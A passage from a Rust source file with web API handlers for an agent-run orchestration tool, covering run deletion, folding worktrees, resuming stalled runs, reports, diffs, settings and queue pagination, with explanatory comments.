4491            superseded_by,
4492            latest_attempt,
4493            task,
4494            state,
4495        }
4496    }
4497}
4498
4499/// Core content needs neither the queue nor question/liveness evidence.
4500async fn run_core(
4501    State(ui): State<Arc<Ui>>,
4502    Path(id): Path<String>,
4503) -> ApiResult<Json<RunDetailView>> {
4504    blocking(move || {
4505        let id = resolve_run(&ui.runs, &id)?;
4506        let state = read_run(&ui.runs, &id)?;
4507        Ok(Json(RunDetailView::of(
4508            state,
4509            false,
4510            crate::run::Liveness::Unknown,
4511            None,
4512            None,
4513            None,
4514        )))
4515    })
4516    .await
4517}
4518
4519/// Lightweight observation: never replaces the evidence used by controls.
4520async fn run_progress(
4521    State(ui): State<Arc<Ui>>,
4522    Path(id): Path<String>,
4523) -> ApiResult<Json<serde_json::Value>> {
4524    blocking(move || {
4525        let id = resolve_run(&ui.runs, &id)?;
4526        let state = read_run(&ui.runs, &id)?;
4527        let live = state.liveness(crate::daemon::is_working_on(
4528            &ui.home,
4529            &id,
4530            Timestamp::now(),
4531        ));
4532        let waiting = !ui.questions.open_for(&id).is_empty();
4533        Ok(Json(serde_json::json!({
4534            "id": id, "updated_at": state.updated_at, "live": live,
4535            "observed_at": Timestamp::now(),
4536            "progress": crate::run_progress::build(&state, live, waiting),
4537        })))
4538    })
4539    .await
4540}
4541
4542async fn run_detail(
4543    State(ui): State<Arc<Ui>>,
4544    Path(id): Path<String>,
4545) -> ApiResult<Json<RunDetailView>> {
4546    blocking(move || {
4547        let id = resolve_run(&ui.runs, &id)?;
4548        let state = read_run(&ui.runs, &id)?;
4549        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4550        let live = state.liveness(daemon_claims);
4551        crate::queue::record_ids(ui.questions.root(), "json")?;
4552        let waiting = ui
4553            .questions
4554            .list()
4555            .iter()
4556            .any(|q| q.run == id && q.status.open());
4557        let max_attempts = daemon::Opts::default().max_attempts;
4558
4559        let matching_task = ui.find_task_for_run(&id)?;
4560
4561        let superseded_by = state
4562            .pr_taken_over_by
4563            .clone()
4564            .or_else(|| {
4565                matching_task
4566                    .as_ref()
4567                    .and_then(|t| t.successor_of(&id).cloned())
4568            })
4569            .as_deref()
4570            .map(crate::run::short_of)
4571            .map(str::to_owned);
4572
4573        // Best-effort: an unreadable head (mid-write, or deleted) just means
4574        // this run's own status stands on its own, same as no later attempt
4575        // existing at all.
4576        let latest_attempt = matching_task
4577            .as_ref()
4578            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4579            .and_then(|head_id| {
4580                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4581                    short: head.short().to_owned(),
4582                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4583                    status: head.status,
4584                    done: head.status.done(),
4585                    id: head.id,
4586                })
4587            });
4588
4589        let task = matching_task
4590            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4591
4592        Ok(Json(RunDetailView::of(
4593            state,
4594            waiting,
4595            live,
4596            superseded_by,
4597            latest_attempt,
4598            task,
4599        )))
4600    })
4601    .await
4602}
4603
4604/// `DELETE /api/runs/{id}`.
4605///
4606/// Remove a finished, folded run directory along with its artifacts.
4607/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4608/// deleted. This never touches git worktrees or branches - except for a run
4609/// whose state this build cannot read at all, where there is no candidate
4610/// list to check and the wholesale removal `magi fold` already uses for that
4611/// case is the only meaningful "delete".
4612async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4613    let (id, unreadable) = {
4614        let ui = Arc::clone(&ui);
4615        blocking(move || {
4616            let id = resolve_run(&ui.runs, &id)?;
4617            match read_run(&ui.runs, &id) {
4618                Ok(state) => {
4619                    let in_flight =
4620                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4621                    state
4622                        .ensure_can_delete(in_flight)
4623                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4624                    let dir = ui.runs.join(&id);
4625                    std::fs::remove_dir_all(&dir)
4626                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4627                    Ok((id, false))
4628                }
4629                Err(_) => {
4630                    // Unreadable: there is no candidate list to guard on, so
4631                    // a live daemon's claim is the only thing left to check -
4632                    // the same rule `run_fold` applies for the same reason.
4633                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4634                        return Err(ApiError::conflict(format!(
4635                            "run {id} is being worked on by a live daemon right now"
4636                        )));
4637                    }
4638                    Ok((id, true))
4639                }
4640            }
4641        })
4642        .await?
4643    };
4644    if unreadable {
4645        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4646            .await
4647            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4648    }
4649    let ui = Arc::clone(&ui);
4650    let done = id.clone();
4651    blocking(move || {
4652        // The agent that asked died with the run, so an open question would
4653        // keep asking the operator for a decision nobody can deliver.
4654        ui.questions.abandon_for_run(
4655            &done,
4656            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4657        )?;
4658        Ok(())
4659    })
4660    .await?;
4661    Ok(StatusCode::NO_CONTENT)
4662}
4663
4664/// `POST /api/runs/{id}/fold`.
4665///
4666/// Remove a run's candidate worktrees and branches, keeping its record.
4667///
4668/// This exists because the deck answered "delete this run" with *"Candidates
4669/// must be folded before deleting. Run `magi fold` first."* — a phone being
4670/// told to open a terminal, in the one product whose point is that it does
4671/// not need one. The runs an operator most wants gone are the stalled and
4672/// blocked ones, and those are exactly the runs still holding worktrees:
4673/// three of them here held 53 GB.
4674///
4675/// The winner's tree goes too. A fold is what someone asks for when they are
4676/// finished with a run, and leaving one tree behind would leave the delete
4677/// button disabled for the same reason as before.
4678///
4679/// Refused while a live daemon is working on the run, on the rule that guards
4680/// deletion: folding underneath a running agent would pull the tree it is
4681/// editing out from under it.
4682///
4683/// A run whose state this build cannot read at all falls back to
4684/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4685/// selectively, so the whole record's worktree goes wholesale, exactly what
4686/// `magi fold` does on the command line for the same run.
4687async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4688    let (id, state) = {
4689        let ui = Arc::clone(&ui);
4690        blocking(move || {
4691            let id = resolve_run(&ui.runs, &id)?;
4692            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4693                return Err(ApiError::conflict(format!(
4694                    "run {id} is being worked on by a live daemon right now"
4695                )));
4696            }
4697            let state = read_run(&ui.runs, &id).ok();
4698            Ok((id, state))
4699        })
4700        .await?
4701    };
4702    let removed = match state {
4703        Some(mut state) => {
4704            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4705                .await
4706                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4707            // Nothing left to remove is not the same thing as nothing left to
4708            // do — see `clean::clear_abandoned_active`'s own doc for the run
4709            // this exists for: worktrees already gone, but a killed process
4710            // left active seats nobody will ever answer for.
4711            if removed.is_empty() {
4712                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4713                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4714            }
4715            removed
4716        }
4717        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4718            .await
4719            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4720    };
4721    Ok(Json(FoldView {
4722        run: id,
4723        removed_count: removed.len(),
4724        removed,
4725    }))
4726}
4727
4728/// What a fold took away, so the deck can say so rather than only re-render.
4729#[derive(Debug, Serialize)]
4730struct FoldView {
4731    run: String,
4732    /// Worktree paths and branch names removed, in the order they went.
4733    removed: Vec<String>,
4734    removed_count: usize,
4735}
4736
4737/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4738/// merged outside of `land::land`'s own loop.
4739#[derive(Debug, Deserialize)]
4740struct FoldMergedBody {
4741    #[serde(default)]
4742    pr_url: String,
4743}
4744
4745/// `POST /api/runs/{id}/fold-merged`.
4746///
4747/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4748/// `Blocked` with `merge: null` because magi never got as far as opening a
4749/// pull request of its own (a title over GitHub's length limit, `gh pr
4750/// create` unreachable, a stale token), which the operator then finished by
4751/// hand on a pull request magi never recorded. The "Run actions" sheet used
4752/// to have no way to tell it about that pull request short of a terminal and
4753/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4754/// this exists and what it deliberately does not do (`bump::after_merge`).
4755///
4756/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4757/// correction rewrites the same `status`/`merge` fields a running graph would
4758/// be writing to on its own.
4759///
4760/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4761/// calls plus a fold, seconds of work, and the phone should get its answer
4762/// (which pull request it recorded, and what changed) in the same round
4763/// trip rather than learning it from the change stream.
4764async fn run_fold_merged(
4765    State(ui): State<Arc<Ui>>,
4766    Path(id): Path<String>,
4767    Json(body): Json<FoldMergedBody>,
4768) -> ApiResult<Json<FoldMergedView>> {
4769    let pr_url = body.pr_url.trim().to_owned();
4770    if pr_url.is_empty() {
4771        return Err(ApiError::bad_request("pr_url is required"));
4772    }
4773    let (id, mut state) = {
4774        let ui = Arc::clone(&ui);
4775        blocking(move || {
4776            let id = resolve_run(&ui.runs, &id)?;
4777            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4778                return Err(ApiError::conflict(format!(
4779                    "run {id} is being worked on by a live daemon right now"
4780                )));
4781            }
4782            let state = read_run(&ui.runs, &id)?;
4783            Ok((id, state))
4784        })
4785        .await?
4786    };
4787    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4788        .await
4789        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4790    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4791        .await
4792        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4793    Ok(Json(FoldMergedView {
4794        run: id,
4795        before: before.as_str().to_owned(),
4796        after: after.as_str().to_owned(),
4797        removed,
4798    }))
4799}
4800
4801/// What [`run_fold_merged`] did, so the deck can say so.
4802#[derive(Debug, Serialize)]
4803struct FoldMergedView {
4804    run: String,
4805    /// `status` before the correction — normally `"blocked"`.
4806    before: String,
4807    /// `status` after — normally `"merged"`.
4808    after: String,
4809    /// Worktree paths and branch names the trailing fold removed.
4810    removed: Vec<String>,
4811}
4812
4813/// `POST /api/runs/{id}/resume`.
4814///
4815/// Carry a stalled run on from where it stopped, in the background.
4816///
4817/// A stalled card says "the work is kept" and used to offer no way to act on
4818/// that: the candidates are built and paid for, and continuing means re-asking
4819/// only the seats whose absence collapsed the panel. The alternative an
4820/// operator actually had was releasing the task, which competes three fresh
4821/// implementations against work that already exists.
4822///
4823/// **202, not 200.** A resume runs agents for minutes; holding the connection
4824/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4825/// phone learns the outcome from the change stream.
4826///
4827/// Refused when the loop is running at all, not merely when it is on this run.
4828/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4829/// started a second graph on top of whatever the loop is already driving —
4830/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4831/// allows — would spend that quota twice over for no extra throughput.
4832async fn run_resume(
4833    State(ui): State<Arc<Ui>>,
4834    Path(id): Path<String>,
4835) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4836    let admission = ui.begin_admission()?;
4837    admitted(admission, async move {
4838        let (id, state) = {
4839            let ui = Arc::clone(&ui);
4840            blocking(move || {
4841                let id = resolve_run(&ui.runs, &id)?;
4842                let state = read_run(&ui.runs, &id)?;
4843                Ok((id, state))
4844            })
4845            .await?
4846        };
4847        crate::resume::validate_unqueued(&ui.home, &id)
4848            .map_err(|e| ApiError::conflict(e.to_string()))?;
4849        let _resume = ui.begin_resume(&id)?;
4850
4851        crate::resume::start(&ui.home, id.clone())
4852            .await
4853            .map_err(ApiError::from)?;
4854        // The same shape the list route returns, so the phone updates the card it
4855        // already has rather than learning a second schema for one button.
4856        let queued = RunSummary::of(
4857            &state,
4858            !ui.questions.open_for(&id).is_empty(),
4859            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4860        );
4861        Ok((StatusCode::ACCEPTED, Json(queued)))
4862    })
4863    .await
4864}
4865
4866async fn run_report(
4867    State(ui): State<Arc<Ui>>,
4868    Path(id): Path<String>,
4869) -> ApiResult<impl IntoResponse> {
4870    let text = blocking(move || {
4871        let id = resolve_run(&ui.runs, &id)?;
4872        // Colour is off for the whole process, set once in `serve`. Rendering
4873        // is CPU work over the full state, which is the other reason this is
4874        // not on the executor.
4875        let state = read_run(&ui.runs, &id)?;
4876        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4877        let live = state.liveness(daemon_claims);
4878        Ok(format!(
4879            "{}{}",
4880            report::run(&state),
4881            report::active_seats(&state, live)
4882        ))
4883    })
4884    .await?;
4885    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4886}
4887
4888/// The structured twin of [`run_report`]: the same state, as sections the UI
4889/// draws as cards. An unreadable run answers with the same error the text
4890/// route does; it is never turned into an empty report.
4891async fn run_report_json(
4892    State(ui): State<Arc<Ui>>,
4893    Path(id): Path<String>,
4894) -> ApiResult<Json<crate::report_view::RunReportView>> {
4895    let view = blocking(move || {
4896        let id = resolve_run(&ui.runs, &id)?;
4897        let state = read_run(&ui.runs, &id)?;
4898        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4899        // Only a record that lacks the structured details reads `artifacts/`.
4900        let recovered = state.graft.as_ref().map(|_| {
4901            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4902        });
4903        Ok(crate::report_view::build_with(
4904            &state,
4905            state.liveness(daemon_claims),
4906            recovered.as_ref(),
4907        ))
4908    })
4909    .await?;
4910    Ok(Json(view))
4911}
4912
4913/// Archive access uses validated run-owned records, never a request-supplied path.
4914async fn run_seat_evidence(
4915    State(ui): State<Arc<Ui>>,
4916    Path(id): Path<String>,
4917) -> ApiResult<impl IntoResponse> {
4918    let id = resolve_run(&ui.runs, &id)?;
4919    let heads = crate::retention::seat_heads(&ui.home, &id)
4920        .await
4921        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4922    Ok(Json(heads))
4923}
4924
4925async fn run_seat_diff(
4926    State(ui): State<Arc<Ui>>,
4927    Path((id, head)): Path<(String, String)>,
4928) -> ApiResult<impl IntoResponse> {
4929    let id = resolve_run(&ui.runs, &id)?;
4930    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4931        .await
4932        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4933    Ok((
4934        [
4935            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4936            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4937        ],
4938        patch,
4939    ))
4940}
4941
4942/// Most of a graft diff the route returns.
4943const GRAFT_DIFF_MAX: usize = 400 * 1024;
4944/// How long `git diff` may run.
4945const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4946
4947/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4948/// come from the run record, never from the request.
4949async fn run_graft_diff(
4950    State(ui): State<Arc<Ui>>,
4951    Path(id): Path<String>,
4952) -> ApiResult<impl IntoResponse> {
4953    let (repo, pre, post) = blocking(move || {
4954        let id = resolve_run(&ui.runs, &id)?;
4955        let state = read_run(&ui.runs, &id)?;
4956        let g = state
4957            .graft
4958            .as_ref()
4959            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4960        let post = g
4961            .post
4962            .clone()
4963            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4964        Ok((state.repo.clone(), g.pre.clone(), post))
4965    })
4966    .await?;
4967    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4968    if !hex(&pre) || !hex(&post) {
4969        return Err(ApiError::not_found("the recorded commits are not valid"));
4970    }
4971    let out = tokio::time::timeout(
4972        GRAFT_DIFF_TIMEOUT,
4973        crate::git::git_raw(
4974            &repo,
4975            &[
4976                "diff",
4977                "--no-color",
4978                "--no-ext-diff",
4979                "-M",
4980                &pre,
4981                &post,
4982                "--",
4983            ],
4984        ),
4985    )
4986    .await
4987    .map_err(|_| ApiError::not_found("git diff timed out"))?
4988    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4989    if out.code != Some(0) {
4990        return Err(ApiError::not_found(
4991            "the recorded commits are no longer in the repository",
4992        ));
4993    }
4994    let mut body = out.stdout;
4995    if body.len() > GRAFT_DIFF_MAX {
4996        let mut cut = GRAFT_DIFF_MAX;
4997        while !body.is_char_boundary(cut) {
4998            cut -= 1;
4999        }
5000        body.truncate(cut);
5001        body.push_str("\n... diff truncated ...");
5002    }
5003    Ok((
5004        [
5005            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5006            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5007        ],
5008        body,
5009    ))
5010}
5011
5012/// A task as the UI sees it.
5013///
5014/// The whole task, plus the two things the client would otherwise have to
5015/// reimplement: the human-readable source and the status string. Nothing is
5016/// removed - the phone shows `last_error` and the run history verbatim.
5017#[derive(Debug, Serialize)]
5018struct TaskView {
5019    #[serde(flatten)]
5020    task: Task,
5021    source_label: String,
5022    reassignment_notes: Vec<String>,
5023    source_link: Option<SourceLink>,
5024    status_str: &'static str,
5025    /// The instruction, parsed as markdown, for the Queue card's "Full
5026    /// instruction" panel. `task.instruction` is unchanged and still carries
5027    /// the raw text.
5028    instruction_md: Vec<md::Node>,
5029    /// For a blocked task, what it waits on with each dependency's state, e.g.
5030    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5031    /// recurses; empty for every other status.
5032    waits_on: Vec<String>,
5033    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5034    /// behind - non-empty means nothing in the loop will ever run it.
5035    stuck_roots: Vec<String>,
5036    blockers: Vec<crate::blockers::BlockerView>,
5037    recovery: Option<String>,
5038}
5039
5040impl From<Task> for TaskView {
5041    fn from(task: Task) -> Self {
5042        Self {
5043            source_label: task.source.label(),
5044            reassignment_notes: Vec::new(),
5045            source_link: source_link(&task.source),
5046            status_str: task.status.as_str(),
5047            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5048            waits_on: Vec::new(),
5049            stuck_roots: Vec::new(),
5050            blockers: Vec::new(),
5051            recovery: task_recovery(&task),
5052            task,
5053        }
5054    }
5055}
5056
5057impl TaskView {
5058    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5059        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5060            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5061            if !pending.is_empty() {
5062                self.recovery = Some(format!(
5063                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5064                    self.recovery.as_deref().unwrap_or_default()
5065                ));
5066            }
5067            for decision in pending {
5068                self.blockers.retain(|view| view.id != decision.id);
5069                self.blockers.push(decision);
5070            }
5071        }
5072        self
5073    }
5074
5075    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5076        let waits_on = inv.waits_on(&task);
5077        let stuck_roots = inv
5078            .stuck_roots(&task)
5079            .iter()
5080            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5081            .collect();
5082        Self {
5083            blockers: inv.blocker_views(&task),
5084            waits_on,
5085            stuck_roots,
5086            ..Self::from(task)
5087        }
5088    }
5089}
5090
5091fn task_recovery(task: &Task) -> Option<String> {
5092    use crate::queue::{HoldSource, TaskStatus};
5093    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5094        return None;
5095    }
5096    let mut text = String::new();
5097    if task.status == TaskStatus::Blocked {
5098        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5099        let restored = match task.blocked_from {
5100            Some(TaskStatus::Running) => TaskStatus::Queued,
5101            Some(status) => status,
5102            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5103            None => TaskStatus::Queued,
5104        };
5105        text.push_str(&format!(
5106            "After all dependencies resolve, the scheduler restores {}. ",
5107            restored.as_str()
5108        ));
5109        if restored != TaskStatus::Held {
5110            return Some(text);
5111        }
5112    }
5113    text.push_str(match task.hold_source {
5114        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5115        Some(HoldSource::Machine) if task.hold_reason.as_deref().is_some_and(crate::disk::is_gate_reason) =>
5116            "Machine disk hold: free disk space or restore measurement. Recorded disk figures describe the hold time, not current capacity. If no recovery decision is pending, triage rechecks the disk gate and can automatically queue after recovery is verified. Pending decisions must be resolved or applied first; disk admission checks still apply.",
5117        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5118        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5119    });
5120    Some(text)
5121}
5122
5123/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5124/// its absence, leaves the cache to decide.
5125#[derive(Debug, Default, Deserialize)]
5126#[serde(default)]
5127struct ReposQuery {
5128    refresh: u8,
5129}
5130
5131/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5132/// listing `magi repos` prints at a terminal.
5133///
5134/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5135/// so an edit to `magi.toml` takes effect without a restart, the same
5136/// reasoning [`config_for`] documents for the talk routes.
5137async fn repos_list(
5138    State(ui): State<Arc<Ui>>,
5139    Query(q): Query<ReposQuery>,
5140) -> ApiResult<Json<Vec<repos::Repo>>> {
5141    let refresh = q.refresh != 0;
5142    blocking(move || {
5143        let (cfg, _) = Config::discover(&ui.repo, None)?;
5144        Ok(Json(ui.repos_cache.list(
5145            &cfg.repos.roots,
5146            Duration::from_secs(cfg.repos.scan_ttl),
5147            refresh,
5148        )))
5149    })
5150    .await
5151}
5152
5153/// Optional context, restricted to the server's known checkouts.
5154#[derive(Debug, Default, Deserialize)]
5155struct SettingsQuery {
5156    repo: Option<PathBuf>,
5157}
5158
5159/// Always discover against the server's original context, never the selection.
5160/// If that config is broken, retain the default context and machine-only roots
5161/// so the settings error contract and recovery picker remain available.
5162fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5163    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5164        let paths: Vec<PathBuf> = ui
5165            .machine_config
5166            .iter()
5167            .filter(|p| p.is_file())
5168            .cloned()
5169            .collect();
5170        if paths.is_empty() {
5171            Ok(Config::autodetected())
5172        } else {
5173            Config::load_layers(&paths)
5174        }
5175    });
5176    let mut known = cfg
5177        .map(|cfg| {
5178            ui.repos_cache.list(
5179                &cfg.repos.roots,
5180                Duration::from_secs(cfg.repos.scan_ttl),
5181                refresh,
5182            )
5183        })
5184        .unwrap_or_default();
5185    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5186    if !known.iter().any(|r| r.path == path) {
5187        known.push(repos::Repo {
5188            name: path
5189                .file_name()
5190                .unwrap_or_default()
5191                .to_string_lossy()
5192                .into_owned(),
5193            path,
5194        });
5195    }
5196    known
5197}
5198
5199fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5200    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5201    let canonical = requested.canonicalize().ok();
5202    let mut known = settings_repositories(ui, false);
5203    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5204    if !known.iter().any(matches) {
5205        known = settings_repositories(ui, true);
5206    }
5207    let repo = known
5208        .iter()
5209        .find(|r| matches(r))
5210        .map(|r| r.path.clone())
5211        .ok_or_else(|| ApiError {
5212            text_reason: None,
5213            status: StatusCode::UNPROCESSABLE_ENTITY,
5214            message: "Choose a known repository from the Settings selector.".to_owned(),
5215        })?;
5216    Ok((repo, known))
5217}
5218
5219/// `GET /api/settings` - the effective role assignments and roster, with the
5220/// layer each came from. A config that fails to load answers 200 with an
5221/// `error`, so the screen can say so instead of drawing empty lists.
5222async fn settings_get(
5223    State(ui): State<Arc<Ui>>,
5224    Query(q): Query<SettingsQuery>,
5225) -> ApiResult<Json<settings::SettingsView>> {
5226    blocking(move || {
5227        let (repo, known) = settings_context(&ui, q)?;
5228        Ok(Json(settings::view_with_repos(
5229            &repo,
5230            ui.machine_config.as_deref(),
5231            &known,
5232        )))
5233    })
5234    .await
5235}
5236
5237/// The body of `PUT /api/settings/roles`.
5238#[derive(Debug, Deserialize)]
5239#[serde(deny_unknown_fields)]
5240struct RolesBody {
5241    /// The `revision` the client last read.
5242    revision: String,
5243    /// Role key to its new ids; an empty list resets the key to its default.
5244    #[serde(default)]
5245    roles: std::collections::BTreeMap<String, Vec<String>>,
5246    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5247    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5248    /// words (422) instead of as a deserialization error.
5249    #[serde(default)]
5250    counts: std::collections::BTreeMap<String, serde_json::Value>,
5251}
5252
5253/// `PUT /api/settings/roles` - save role assignments to the machine config.
5254///
5255/// The write target is `ui.machine_config` and nothing in the body can change
5256/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5257/// 422 with the reason in words.
5258async fn settings_put_roles(
5259    State(ui): State<Arc<Ui>>,
5260    Query(q): Query<SettingsQuery>,
5261    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5262) -> ApiResult<Json<settings::SettingsView>> {
5263    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5264    blocking(move || {
5265        let (repo, known) = settings_context(&ui, q)?;
5266        settings::save_with_repos(
5267            &repo,
5268            ui.machine_config.as_deref(),
5269            &body.revision,
5270            &body.roles,
5271            &body.counts,
5272            &known,
5273        )
5274        .map(Json)
5275        .map_err(|e| match e {
5276            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5277            settings::SaveError::Refused(m) => ApiError {
5278                text_reason: None,
5279                status: StatusCode::UNPROCESSABLE_ENTITY,
5280                message: m,
5281            },
5282            settings::SaveError::Internal(m) => ApiError::internal(m),
5283        })
5284    })
5285    .await
5286}
5287
5288async fn queue_list(
5289    State(ui): State<Arc<Ui>>,
5290    Query(q): Query<ListQuery>,
5291) -> ApiResult<Json<Vec<TaskView>>> {
5292    blocking(move || {
5293        let tasks = ui.queue.list();
5294        let inv =
5295            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5296        Ok(Json(
5297            tasks
5298                .into_iter()
5299                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5300                .map(|t| TaskView::with_inventory(t, &inv))
5301                .collect(),
5302        ))
5303    })
5304    .await
5305}
5306
5307/// History pages read a bounded number of records; the first conversation
5308/// page also includes every open talk. Cursors advance through a frozen snapshot,
5309/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5310/// Concurrent inserts are reconciled by a trailing store refresh.
5311#[derive(Debug, Default, Deserialize)]
5312struct PageQuery {
5313    before: Option<String>,
5314}
5315
5316#[derive(Serialize)]
5317struct StorePage<T> {
5318    rows: Vec<T>,
5319    next: Option<String>,
5320}
5321
5322const STORE_PAGE_SIZE: usize = 16;
5323
5324/// Freeze membership and the initial open/history boundary for a cursor walk.
5325/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5326/// the next store revision. Never rescan the entire directory for every page.
5327#[derive(Debug)]
5328struct ListWalk {
5329    token: u64,
5330    talks: bool,
5331    opened: std::time::Instant,
5332    ids: Arc<Vec<String>>,
5333    initial_end: usize,
5334}
5335
5336fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5337    page_ids_with(ui, talks, q, open_talk_ids)
5338}
5339
5340fn page_ids_with(
5341    ui: &Ui,
5342    talks: bool,
5343    q: PageQuery,
5344    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5345) -> ApiResult<(Vec<String>, Option<String>)> {
5346    let mut walks = ui
5347        .monitor
5348        .list_walks
5349        .lock()
5350        .unwrap_or_else(PoisonError::into_inner);
5351    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5352    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5353        let (token, offset) = cursor
5354            .split_once(':')
5355            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5356        let token = token
5357            .parse::<u64>()
5358            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5359        let offset = offset
5360            .parse::<usize>()
5361            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5362        let walk = walks
5363            .iter()
5364            .find(|walk| walk.token == token && walk.talks == talks)
5365            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5366        (token, walk.ids.clone(), offset, walk.initial_end)
5367    } else {
5368        // Header I/O must not hold the snapshot registry shared with queue
5369        // pagination or with clients continuing an existing history walk.
5370        drop(walks);
5371        let root = if talks {
5372            ui.talks.root()
5373        } else {
5374            ui.queue.root()
5375        };
5376        let mut ids = crate::queue::record_ids(root, "json")?;
5377        ids.sort_unstable_by(|a, b| b.cmp(a));
5378        let initial_end = if talks {
5379            let open = classify(ui, &ids);
5380            // Stable partition: ID order is only the existing membership order,
5381            // never a substitute for the UI's creation-time ordering.
5382            ids.sort_by_key(|id| !open.contains(id));
